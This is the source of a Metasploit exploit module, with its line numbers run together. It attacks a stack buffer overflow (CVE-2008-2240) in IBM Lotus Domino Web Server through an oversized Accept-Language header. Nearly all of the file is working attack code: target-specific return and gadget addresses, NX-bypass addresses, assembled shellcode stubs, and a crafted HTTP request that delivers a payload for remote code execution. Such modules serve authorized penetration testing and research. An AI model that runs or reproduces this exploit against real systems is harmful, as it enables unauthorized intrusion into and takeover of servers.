Path: blob/master/modules/exploits/windows/lotus/domino_http_accept_language.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'IBM Lotus Domino Web Server Accept-Language Stack Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in IBM Lotus Domino Web Server17prior to version 7.0.3FP1 and 8.0.1. This flaw is triggered by any HTTP18request with an Accept-Language header greater than 114 bytes.19},20'Author' => [ 'Fairuzan Roslan <riaf[at]mysec.org>', '<Earl Marcus klks[at]mysec.org>' ],21'License' => MSF_LICENSE,22'References' => [23['CVE', '2008-2240'],24['OSVDB', '45415'],25['BID', '29310'],26['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21303057'],27],28'DefaultOptions' => {29'EXITFUNC' => 'thread',30},31'Privileged' => true,32'Payload' => {33'Space' => 800,34'BadChars' => "\x00\x0a\x20\x2c\x3b",35'StackAdjustment' => -3500,36},37'Platform' => 'win',38'Targets' => [3940[41'Lotus Domino 7.0 on Windows 2003 SP1 English(NX)',42{43'FixESP' => 0x70335c79, # add esp, 0x324, ret @fontmanager.dll44'FixESI' => 0x603055da, # push esp, pop esi, ret @nnotes.dll45'FixEBP' => 0x60a8bc90, # push esp, pop ebp, ret 0x10 @nnotes.dll46'Ret' => 0x62c838c7, # ret 0x12e @nlsccstr.dl47'DisableNX' => 0x7c83e413, # NX Disable @ntdll.dll48'JmpESP' => 0x62c6072e, # jmp esp @nlsccstr.dll49}50],5152[53'Lotus Domino 7.0 on Windows 2003 SP2 English(NX)',54{55'FixESP' => 0x70335c79, # add esp, 0x324, ret @fontmanager.dll56'FixESI' => 0x603055da, # push esp, pop esi, ret @nnotes.dll57'FixEBP' => 0x60a8bc90, # push esp, pop ebp, ret 0x10 @nnotes.dll58'Ret' => 0x62c838c7, # ret 0x12e @nlsccstr.dll59'DisableNX' => 0x7c83f517, # NX Disable @ntdll.dll60'JmpESP' => 0x62c6072e, # jmp esp @nlsccstr.dll61}62],6364[65'Lotus Domino 7.0 on Windows 2003/2000/XP English(NO NX)',66{67'FixESP' => 0x70335c79, # add esp, 0x324, ret @fontmanager.dll68'JmpESP' => 0x62c6072e, # jmp esp @lsccstr.dll69}70],7172[73'Lotus Domino 8.0 on Windows 2003 SP1 English(NX)',74{75'FixESP' => 0x7ea0615c, # add esp, 0x324, ret @net.dll76'FixESI' => 0x639a7f87, # push esp, pop esi, ret @nlsccstr.dll77'FixEBP' => 0x6391c9f7, # push esp, pop ebp, ret 0x10 @nlsccstr.dll78'Ret' => 0x7f8b0628, # ret 0x12e @j9gc23.dll79'DisableNX' => 0x7c83e413, # NX Disable @ntdll.dll80'JmpESP' => 0x6391071e, # jmp esp @nlsccstr.dll81}82],8384[85'Lotus Domino 8.0 on Windows 2003 SP2 English(NX)',86{87'FixESP' => 0x7ea0615c, # add esp, 0x324, ret @net.dll88'FixESI' => 0x639a7f87, # push esp, pop esi, ret @nlsccstr.dll89'FixEBP' => 0x6391c9f7, # push esp, pop ebp, ret 0x10 @nlsccstr.dll90'Ret' => 0x7f8b0628, # ret 0x12e @j9gc23.dll91'DisableNX' => 0x7c83f517, # NX Disable @ntdll.dll92'JmpESP' => 0x6391071e, # jmp esp @nlsccstr.dll93}94],9596[97'Lotus Domino 8.0 on Windows 2003/2000/XP English(NO NX)',98{99'FixESP' => 0x7ea0615c, # add esp, 0x324, ret @net.dll100'JmpESP' => 0x6391071e, # jmp esp @nlsccstr.dll101}102],103104],105'DisclosureDate' => '2008-05-20',106'Notes' => {107'Reliability' => UNKNOWN_RELIABILITY,108'Stability' => UNKNOWN_STABILITY,109'SideEffects' => UNKNOWN_SIDE_EFFECTS110}111)112)113end114115def exploit116connect117118lang = rand_text_alphanumeric(116) # greetz to hateful chris119lang[56, 4] = [ 0xfffffffe ].pack('V') # Fix Second crash (esi)120lang[68, 4] = [ 0x7ffaf0ec ].pack('V') # Fix Second crash (eax)121lang[104, 4] = [ 0x7ffaf030 ].pack('V') # Fix First crash122lang[112, 4] = [target['FixESP']].pack('V') # 1123lang << "\x00"124lang << payload.encoded125126if (not target['DisableNX'])127lang[16, 15] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "add esp,-0xc4 pop edi sub edi,-0x86 call edi").encode_string # 4128lang[80, 4] = [target['JmpESP']].pack('V') # 2129lang[84, 2] = Rex::Arch::X86.jmp_short(-0x46) # 3 jmp back to top130else131lang[16, 16] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "add esp,-0xd8 pop edi pop edi sub edi,-0x86 call edi").encode_string # 8132lang[80, 4] = [target['FixESI']].pack('V') # 2133lang[84, 4] = [target['FixEBP']].pack('V') # 3134lang[88, 4] = [target['Ret']].pack('V') # 4135lang[92, 4] = [target['JmpESP']].pack('V') # 6136lang[100, 2] = Rex::Arch::X86.jmp_short(-0x56) # 7 jmp back to top137lang[108, 4] = [target['DisableNX']].pack('V') # 5138end139140uri = rand_text_alpha_lower(16) + '.nsf?' + rand_text_highascii(1) # Trigger141142print_status("Trying target #{target.name}...")143send_request_raw({144'uri' => "#{uri}",145'method' => 'GET',146'headers' =>147{148'Accept' => '*/*',149'Accept-Language' => "#{lang}",150'Accept-Encoding' => 'gzip,deflate',151'Keep-Alive' => '300',152'Connection' => 'keep-alive',153'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',154}155}, 5)156handler157disconnect158end159end160161162